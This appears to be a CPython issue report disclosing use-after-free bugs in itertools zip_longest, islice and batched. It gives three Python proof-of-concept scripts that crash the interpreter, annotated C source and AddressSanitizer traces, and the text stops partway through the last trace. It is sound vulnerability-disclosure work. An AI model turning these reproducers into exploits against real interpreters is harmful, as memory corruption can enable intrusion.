René's URL Explorer Experiment

{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Use-after-free in `itertools.zip_longest_next/islice/batched` via re-entrant iterator","articleBody":"### What happened?\n\nIn `zip_longest_next`, each entry is read from `lz-\u003eittuple` then `PyIter_Next` runs, but a crafted iterator reenters `zip_longest_next`, trips the cleanup path for the same slot, and decrements the iterator to zero while the outer frame still holds the pointer. When control returns it keeps using that freed iterator and `chain_next_lock_held` observes the dangling memory, leading to a use-after-free.\n\nSimilar cases found in `itertools.islice` and `itertools.batched` as well.\n\n**Proof of Concept:**\n```python\nimport itertools\n\n\nclass Reenter:\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        z = self.zip_longest\n        if z is None:\n            raise StopIteration\n        self.zip_longest = None\n        next(z, None)\n        raise StopIteration\n\n\ndriver = Reenter()\ndriver.zip_longest = itertools.zip_longest(itertools.chain(driver), itertools.repeat(None))\nnext(driver.zip_longest)\n```\n\n```python\nimport itertools\nimport operator\n\nSLICE = None\n\nclass Trigger:\n    armed = False\n    def __iter__(self):\n        return self\n    def __next__(self):\n        if Trigger.armed:\n            raise StopIteration\n        Trigger.armed = True\n        operator.countOf(SLICE, object())\n        Trigger.armed = False\n        return None\n\nSLICE = itertools.islice(Trigger(), 2, 4)\noperator.countOf(SLICE, object())\n```\n\n```python\nimport itertools\n\nclass Evil:\n    def __init__(self):\n        self.state = 0\n        self.reenter = False\n        self.owner = None\n    def __iter__(self):\n        return self\n    def __next__(self):\n        if self.reenter:\n            self.reenter = False\n            raise StopIteration\n        if self.state == 0:\n            self.state = 1\n            return 0\n        if self.state == 1:\n            self.state = 2\n            self.reenter = True\n            try:\n                next(self.owner)\n            except StopIteration:\n                pass\n            self.reenter = False\n            return 1\n        raise StopIteration\n\nsrc = Evil()\nbatched = itertools.batched(src, 3)\nsrc.owner = batched\ndel src\nnext(batched)\n```\n\n**Affected Versions:**\n\u003cdetails\u003e\n\n| Python Version | Status | Exit Code |\n|---|---|---|\n| `Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) ` | ASAN | 1 |\n| `Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)]` | ASAN | 1 |\n| `Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)]` | ASAN | 1 |\n| `Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)]` | ASAN | 1 |\n| `Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)]` | ASAN | 1 |\n| `Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)]` | ASAN | 1 |\n| `Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0]` | ASAN | 1 |\n\n\u003c/details\u003e\n\n**Vulnerable Code and Sanitizer Ouput for `zip_longest_next`:**\n\u003cdetails\u003e\n\n```c\nstatic PyObject *\nzip_longest_next(PyObject *op)\n{\n    ziplongestobject *lz = ziplongestobject_CAST(op);\n    Py_ssize_t i;\n    Py_ssize_t tuplesize = lz-\u003etuplesize;\n    PyObject *result = lz-\u003eresult;\n    PyObject *it;\n    PyObject *item;\n    PyObject *olditem;\n\n    if (tuplesize == 0)\n        return NULL;\n    if (lz-\u003enumactive == 0)\n        return NULL;\n    if (Py_REFCNT(result) == 1) {\n        Py_INCREF(result);\n        for (i=0 ; i \u003c tuplesize ; i++) {\n            it = PyTuple_GET_ITEM(lz-\u003eittuple, i);\n            if (it == NULL) {\n                item = Py_NewRef(lz-\u003efillvalue);\n            } else {\n                /* Side Effect: Trigger the __next__ and we reenter the zip_longest_next again and leverage the following Py_DECREF(it); to free the it.*/\n                item = PyIter_Next(it);\n                if (item == NULL) {\n                    lz-\u003enumactive -= 1;\n                    if (lz-\u003enumactive == 0 || PyErr_Occurred()) {\n                        lz-\u003enumactive = 0;\n                        Py_DECREF(result);\n                        return NULL;\n                    } else {\n                        item = Py_NewRef(lz-\u003efillvalue);\n                        PyTuple_SET_ITEM(lz-\u003eittuple, i, NULL);\n                        Py_DECREF(it);\n                    }\n                }\n            }\n            olditem = PyTuple_GET_ITEM(result, i);\n            PyTuple_SET_ITEM(result, i, item);\n            Py_DECREF(olditem);\n        }\n        // bpo-42536: The GC may have untracked this result tuple. Since we're\n        // recycling it, make sure it's tracked again:\n        _PyTuple_Recycle(result);\n    } else {\n        result = PyTuple_New(tuplesize);\n        if (result == NULL)\n            return NULL;\n        for (i=0 ; i \u003c tuplesize ; i++) {\n            it = PyTuple_GET_ITEM(lz-\u003eittuple, i);\n            if (it == NULL) {\n                item = Py_NewRef(lz-\u003efillvalue);\n            } else {\n                item = PyIter_Next(it);\n                if (item == NULL) {\n                    lz-\u003enumactive -= 1;\n                    if (lz-\u003enumactive == 0 || PyErr_Occurred()) {\n                        lz-\u003enumactive = 0;\n                        Py_DECREF(result);\n                        return NULL;\n                    } else {\n                        item = Py_NewRef(lz-\u003efillvalue);\n                        PyTuple_SET_ITEM(lz-\u003eittuple, i, NULL);\n                        Py_DECREF(it);\n                    }\n                }\n            }\n            PyTuple_SET_ITEM(result, i, item);\n        }\n    }\n    return result;\n}\n```\n\n```\n=================================================================\n==1988376==ERROR: AddressSanitizer: heap-use-after-free on address 0x50700010d238 at pc 0x62ddf930120d bp 0x7fff306d1560 sp 0x7fff306d1550\nREAD of size 8 at 0x50700010d238 thread T0\n    #0 0x62ddf930120c in chain_next_lock_held Modules/itertoolsmodule.c:1916\n    #1 0x62ddf930123c in chain_next Modules/itertoolsmodule.c:1927\n    #2 0x62ddf8df3bee in iternext Objects/abstract.c:2868\n    #3 0x62ddf8dfcb91 in PyIter_Next Objects/abstract.c:2918\n    #4 0x62ddf92f6d82 in zip_longest_next Modules/itertoolsmodule.c:3857\n    #5 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681\n    #6 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449\n    #7 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #8 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327\n    #9 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #10 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #11 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001\n    #12 0x62ddf90ed3f8 in PyEval_EvalCode Python/ceval.c:884\n    #13 0x62ddf91e4507 in run_eval_code_obj Python/pythonrun.c:1365\n    #14 0x62ddf91e4723 in run_mod Python/pythonrun.c:1459\n    #15 0x62ddf91e557a in pyrun_file Python/pythonrun.c:1293\n    #16 0x62ddf91e8220 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #17 0x62ddf91e84f6 in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #18 0x62ddf923974d in pymain_run_file_obj Modules/main.c:410\n    #19 0x62ddf92399b4 in pymain_run_file Modules/main.c:429\n    #20 0x62ddf923b1b2 in pymain_run_python Modules/main.c:691\n    #21 0x62ddf923b842 in Py_RunMain Modules/main.c:772\n    #22 0x62ddf923ba2e in pymain_main Modules/main.c:802\n    #23 0x62ddf923bdb3 in Py_BytesMain Modules/main.c:826\n    #24 0x62ddf8cbf645 in main Programs/python.c:15\n    #25 0x7e762982a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #26 0x7e762982a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #27 0x62ddf8cbf574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)\n\n0x50700010d238 is located 56 bytes inside of 72-byte region [0x50700010d200,0x50700010d248)\nfreed by thread T0 here:\n    #0 0x7e7629cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52\n    #1 0x62ddf8ef196d in _PyMem_RawFree Objects/obmalloc.c:91\n    #2 0x62ddf8ef3cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955\n    #3 0x62ddf8ef3d1a in _PyMem_DebugFree Objects/obmalloc.c:3100\n    #4 0x62ddf8f1c06c in PyObject_Free Objects/obmalloc.c:1522\n    #5 0x62ddf915acf7 in PyObject_GC_Del Python/gc.c:2435\n    #6 0x62ddf92f801a in chain_dealloc Modules/itertoolsmodule.c:1869\n    #7 0x62ddf8ee8481 in _Py_Dealloc Objects/object.c:3200\n    #8 0x62ddf92f4909 in Py_DECREF Include/refcount.h:401\n    #9 0x62ddf92f702b in zip_longest_next Modules/itertoolsmodule.c:3897\n    #10 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681\n    #11 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449\n    #12 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #13 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327\n    #14 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #15 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #16 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001\n    #17 0x62ddf8e2a9b8 in _PyFunction_Vectorcall Objects/call.c:413\n    #18 0x62ddf8f3d56b in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #19 0x62ddf8f3d680 in vectorcall_unbound Objects/typeobject.c:3033\n    #20 0x62ddf8f5e976 in vectorcall_method Objects/typeobject.c:3104\n    #21 0x62ddf8f6195b in slot_tp_iternext Objects/typeobject.c:10776\n    #22 0x62ddf93011b4 in chain_next_lock_held Modules/itertoolsmodule.c:1906\n    #23 0x62ddf930123c in chain_next Modules/itertoolsmodule.c:1927\n    #24 0x62ddf8df3bee in iternext Objects/abstract.c:2868\n    #25 0x62ddf8dfcb91 in PyIter_Next Objects/abstract.c:2918\n    #26 0x62ddf92f6d82 in zip_longest_next Modules/itertoolsmodule.c:3857\n    #27 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681\n    #28 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449\n    #29 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n\npreviously allocated by thread T0 here:\n    #0 0x7e7629cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69\n    #1 0x62ddf8ef2284 in _PyMem_RawMalloc Objects/obmalloc.c:63\n    #2 0x62ddf8ef1655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887\n    #3 0x62ddf8ef16bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920\n    #4 0x62ddf8ef2f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085\n    #5 0x62ddf8f1bf28 in PyObject_Malloc Objects/obmalloc.c:1493\n    #6 0x62ddf8f4e03b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46\n    #7 0x62ddf8f4e03b in _PyType_AllocNoTrack Objects/typeobject.c:2504\n    #8 0x62ddf8f4e1c7 in PyType_GenericAlloc Objects/typeobject.c:2535\n    #9 0x62ddf92f5297 in chain_new_internal Modules/itertoolsmodule.c:1810\n    #10 0x62ddf92f8b45 in chain_new Modules/itertoolsmodule.c:1836\n    #11 0x62ddf8f51346 in type_call Objects/typeobject.c:2448\n    #12 0x62ddf8e2ac71 in _PyObject_MakeTpCall Objects/call.c:242\n    #13 0x62ddf8e2af19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167\n    #14 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327\n    #15 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #16 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #17 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001\n    #18 0x62ddf90ed3f8 in PyEval_EvalCode Python/ceval.c:884\n    #19 0x62ddf91e4507 in run_eval_code_obj Python/pythonrun.c:1365\n    #20 0x62ddf91e4723 in run_mod Python/pythonrun.c:1459\n    #21 0x62ddf91e557a in pyrun_file Python/pythonrun.c:1293\n    #22 0x62ddf91e8220 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #23 0x62ddf91e84f6 in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #24 0x62ddf923974d in pymain_run_file_obj Modules/main.c:410\n    #25 0x62ddf92399b4 in pymain_run_file Modules/main.c:429\n    #26 0x62ddf923b1b2 in pymain_run_python Modules/main.c:691\n    #27 0x62ddf923b842 in Py_RunMain Modules/main.c:772\n    #28 0x62ddf923ba2e in pymain_main Modules/main.c:802\n    #29 0x62ddf923bdb3 in Py_BytesMain Modules/main.c:826\n    #30 0x62ddf8cbf645 in main Programs/python.c:15\n\nSUMMARY: AddressSanitizer: heap-use-after-free Modules/itertoolsmodule.c:1916 in chain_next_lock_held\nShadow bytes around the buggy address:\n  0x50700010cf80: fd fd fd fd fd fd fa fa fa fa 00 00 00 00 00 00\n  0x50700010d000: 00 00 00 02 fa fa fa fa fd fd fd fd fd fd fd fd\n  0x50700010d080: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fa\n  0x50700010d100: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa\n  0x50700010d180: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa\n=\u003e0x50700010d200: fd fd fd fd fd fd fd[fd]fd fa fa fa fa fa 00 00\n  0x50700010d280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00\n  0x50700010d300: 00 00 00 00 00 fa fa fa fa fa fd fd fd fd fd fd\n  0x50700010d380: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd\n  0x50700010d400: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x50700010d480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==1988376==ABORTING\n```\n\n\u003c/details\u003e\n\n\n**Vulnerable Code and Sanitizer Ouput for `itertools.islice`:**\n\u003cdetails\u003e\n\n```c\nstatic PyObject *\nislice_next(PyObject *op)\n{\n    isliceobject *lz = isliceobject_CAST(op);\n    PyObject *item;\n    PyObject *it = lz-\u003eit;                               // cached iterator pointer\n    Py_ssize_t stop = lz-\u003estop;\n    PyObject *(*iternext)(PyObject *);\n\n    if (it == NULL)\n        return NULL;\n\n    iternext = *Py_TYPE(it)-\u003etp_iternext;                // grabs tp_iternext once\n    ...\n    item = iternext(it);                                 // re-enters Trigger.__next__\n    if (item == NULL)\n        goto empty;\n    ...\nempty:\n    Py_CLEAR(lz-\u003eit);                                    // reentrant islice iteration frees 'it'\n    return NULL;                                         // outer frame still holds stale 'it'\n}\n\nstatic Py_ssize_t\n_PySequence_IterSearch(PyObject *seq, PyObject *obj, int operation)\n{\n    ...\n    for (;;) {\n        PyObject *item = PyIter_Next(it);                // reentrant next on the same islice\n        if (item == NULL) {\n            ...\n        }\n        ...\n    }\n}\n\nstatic inline PyTypeObject *\n_Py_TYPE(PyObject *ob)\n{\n    return ob-\u003eob_type;                                  // crashes when 'ob' is the freed iterator\n}\n```\n\n```python\n=================================================================\n==282323==ERROR: AddressSanitizer: heap-use-after-free on address 0x513000020828 at pc 0x5f5241e8bd3d bp 0x7ffc9c619b90 sp 0x7ffc9c619b80\nREAD of size 8 at 0x513000020828 thread T0\n    #0 0x5f5241e8bd3c in _Py_TYPE Include/object.h:277\n    #1 0x5f5241e8bd3c in lookup_method_ex Objects/typeobject.c:2977\n    #2 0x5f5241e8bd3c in lookup_method Objects/typeobject.c:3017\n    #3 0x5f5241e8bd3c in vectorcall_method Objects/typeobject.c:3101\n    #4 0x5f5241e8bd3c in slot_tp_iternext Objects/typeobject.c:10776\n    #5 0x5f52422f7f5d in islice_next Modules/itertoolsmodule.c:1628\n    #6 0x5f5241c88c93 in iternext Objects/abstract.c:2868\n    #7 0x5f5241c88c93 in PyIter_Next Objects/abstract.c:2918\n    #8 0x5f5241c88c93 in _PySequence_IterSearch Objects/abstract.c:2160\n    #9 0x5f524237a335 in _operator_countOf_impl Modules/_operator.c:524\n    #10 0x5f524237a335 in _operator_countOf Modules/clinic/_operator.c.h:984\n    #11 0x5f5241cd03e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #12 0x5f5241cd03e7 in PyObject_Vectorcall Objects/call.c:327\n    #13 0x5f5241b845a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #14 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #15 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001\n    #16 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884\n    #17 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365\n    #18 0x5f524219416e in run_mod Python/pythonrun.c:1459\n    #19 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293\n    #20 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #21 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #22 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410\n    #23 0x5f524220ce3c in pymain_run_file Modules/main.c:429\n    #24 0x5f524220ce3c in pymain_run_python Modules/main.c:691\n    #25 0x5f524220e71e in Py_RunMain Modules/main.c:772\n    #26 0x5f524220e71e in pymain_main Modules/main.c:802\n    #27 0x5f524220e71e in Py_BytesMain Modules/main.c:826\n    #28 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #29 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #30 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\n0x513000020828 is located 40 bytes inside of 328-byte region [0x513000020800,0x513000020948)\nfreed by thread T0 here:\n    #0 0x79c18b0fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52\n    #1 0x5f5241e618f3 in subtype_dealloc Objects/typeobject.c:2852\n    #2 0x5f5241ded1d8 in _Py_Dealloc Objects/object.c:3200\n    #3 0x5f52420d8a49 in Py_DECREF_MORTAL Include/internal/pycore_object.h:482\n    #4 0x5f52420d8a49 in PyStackRef_XCLOSE Include/internal/pycore_stackref.h:736\n    #5 0x5f52420d8a49 in _PyFrame_ClearLocals Python/frame.c:101\n    #6 0x5f52420d8a49 in _PyFrame_ClearExceptCode Python/frame.c:126\n    #7 0x5f5242044052 in clear_thread_frame Python/ceval.c:1826\n    #8 0x5f5242044052 in _PyEval_FrameClearAndPop Python/ceval.c:1850\n    #9 0x5f5241b88f4c in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10403\n    #10 0x5f524204f2a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #11 0x5f524204f2a5 in _PyEval_Vector Python/ceval.c:2001\n    #12 0x5f5241e8bbc7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #13 0x5f5241e8bbc7 in vectorcall_unbound Objects/typeobject.c:3033\n    #14 0x5f5241e8bbc7 in vectorcall_method Objects/typeobject.c:3104\n    #15 0x5f5241e8bbc7 in slot_tp_iternext Objects/typeobject.c:10776\n    #16 0x5f52422f7f5d in islice_next Modules/itertoolsmodule.c:1628\n    #17 0x5f5241c88c93 in iternext Objects/abstract.c:2868\n    #18 0x5f5241c88c93 in PyIter_Next Objects/abstract.c:2918\n    #19 0x5f5241c88c93 in _PySequence_IterSearch Objects/abstract.c:2160\n    #20 0x5f524237a335 in _operator_countOf_impl Modules/_operator.c:524\n    #21 0x5f524237a335 in _operator_countOf Modules/clinic/_operator.c.h:984\n    #22 0x5f5241cd03e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #23 0x5f5241cd03e7 in PyObject_Vectorcall Objects/call.c:327\n    #24 0x5f5241b845a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #25 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #26 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001\n    #27 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884\n    #28 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365\n    #29 0x5f524219416e in run_mod Python/pythonrun.c:1459\n    #30 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293\n    #31 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #32 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #33 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410\n    #34 0x5f524220ce3c in pymain_run_file Modules/main.c:429\n    #35 0x5f524220ce3c in pymain_run_python Modules/main.c:691\n    #36 0x5f524220e71e in Py_RunMain Modules/main.c:772\n    #37 0x5f524220e71e in pymain_main Modules/main.c:802\n    #38 0x5f524220e71e in Py_BytesMain Modules/main.c:826\n    #39 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #40 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #41 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\npreviously allocated by thread T0 here:\n    #0 0x79c18b0fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69\n    #1 0x5f5241e7588e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46\n    #2 0x5f5241e7588e in _PyType_AllocNoTrack Objects/typeobject.c:2504\n    #3 0x5f5241e75af4 in PyType_GenericAlloc Objects/typeobject.c:2535\n    #4 0x5f5241e6d118 in type_call Objects/typeobject.c:2448\n    #5 0x5f5241cce9cd in _PyObject_MakeTpCall Objects/call.c:242\n    #6 0x5f5241b8cf33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #7 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #8 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001\n    #9 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884\n    #10 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365\n    #11 0x5f524219416e in run_mod Python/pythonrun.c:1459\n    #12 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293\n    #13 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #14 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #15 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410\n    #16 0x5f524220ce3c in pymain_run_file Modules/main.c:429\n    #17 0x5f524220ce3c in pymain_run_python Modules/main.c:691\n    #18 0x5f524220e71e in Py_RunMain Modules/main.c:772\n    #19 0x5f524220e71e in pymain_main Modules/main.c:802\n    #20 0x5f524220e71e in Py_BytesMain Modules/main.c:826\n    #21 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #22 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #23 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)\n\nSUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE\nShadow bytes around the buggy address:\n  0x513000020580: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa\n  0x513000020600: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x513000020680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x513000020700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x513000020780: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fa fa\n=\u003e0x513000020800: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd\n  0x513000020880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x513000020900: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa\n  0x513000020980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x513000020a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x513000020a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==282323==ABORTING\n```\n\u003c/details\u003e\n\n**Vulnerable Code and Sanitizer Ouput for `itertools.batched`:**\n\n\u003cdetails\u003e\n\n```c\nstatic PyObject *\nbatched_next(PyObject *op)\n{\n    batchedobject *bo = batchedobject_CAST(op);\n    Py_ssize_t i;\n    Py_ssize_t n = FT_ATOMIC_LOAD_SSIZE_RELAXED(bo-\u003ebatch_size);\n    PyObject *it = bo-\u003eit;\n    PyObject *item;\n    PyObject *result;\n\n    if (n \u003c 0) {\n        return NULL;\n    }\n    result = PyTuple_New(n);\n    if (result == NULL) {\n        return NULL;\n    }\n    iternextfunc iternext = *Py_TYPE(it)-\u003etp_iternext;\n    PyObject **items = _PyTuple_ITEMS(result);\n    for (i=0 ; i \u003c n ; i++) {\n        item = iternext(it);\n        if (item == NULL) {\n            goto null_item;\n        }\n        items[i] = item;\n    }\n    return result;\n\n null_item:\n    if (PyErr_Occurred()) {\n        if (!PyErr_ExceptionMatches(PyExc_StopIteration)) {\n            /* Input raised an exception other than StopIteration */\n            FT_ATOMIC_STORE_SSIZE_RELAXED(bo-\u003ebatch_size, -1);\n#ifndef Py_GIL_DISABLED\n            Py_CLEAR(bo-\u003eit);\n#endif\n            Py_DECREF(result);\n            return NULL;\n        }\n        PyErr_Clear();\n    }\n    if (i == 0) {\n        FT_ATOMIC_STORE_SSIZE_RELAXED(bo-\u003ebatch_size, -1);\n#ifndef Py_GIL_DISABLED\n        Py_CLEAR(bo-\u003eit);\n#endif\n        Py_DECREF(result);\n        return NULL;\n    }\n    if (bo-\u003estrict) {\n        FT_ATOMIC_STORE_SSIZE_RELAXED(bo-\u003ebatch_size, -1);\n#ifndef Py_GIL_DISABLED\n        Py_CLEAR(bo-\u003eit);\n#endif\n        Py_DECREF(result);\n        PyErr_SetString(PyExc_ValueError, \"batched(): incomplete batch\");\n        return NULL;\n    }\n    _PyTuple_Resize(\u0026result, i);\n    return result;\n}\n```\n\n```python\n=================================================================\n==2207258==ERROR: AddressSanitizer: heap-use-after-free on address 0x51300001d3a8 at pc 0x600126d4dd3d bp 0x7ffe7249d8c0 sp 0x7ffe7249d8b0\nREAD of size 8 at 0x51300001d3a8 thread T0\n    #0 0x600126d4dd3c in _Py_TYPE Include/object.h:277\n    #1 0x600126d4dd3c in lookup_method_ex Objects/typeobject.c:2977\n    #2 0x600126d4dd3c in lookup_method Objects/typeobject.c:3017\n    #3 0x600126d4dd3c in vectorcall_method Objects/typeobject.c:3101\n    #4 0x600126d4dd3c in slot_tp_iternext Objects/typeobject.c:10776\n    #5 0x6001271c0582 in batched_next Modules/itertoolsmodule.c:209\n    #6 0x600126ef2d8a in builtin_next Python/bltinmodule.c:1681\n    #7 0x600126b923e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169\n    #8 0x600126b923e7 in PyObject_Vectorcall Objects/call.c:327\n    #9 0x600126a465a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620\n    #10 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121\n    #11 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001\n    #12 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884\n    #13 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365\n    #14 0x60012705616e in run_mod Python/pythonrun.c:1459\n    #15 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293\n    #16 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521\n    #17 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81\n    #18 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410\n    #19 0x6001270cee3c in pymain_run_file Modules/main.c:429\n    #20 0x6001270cee3c in 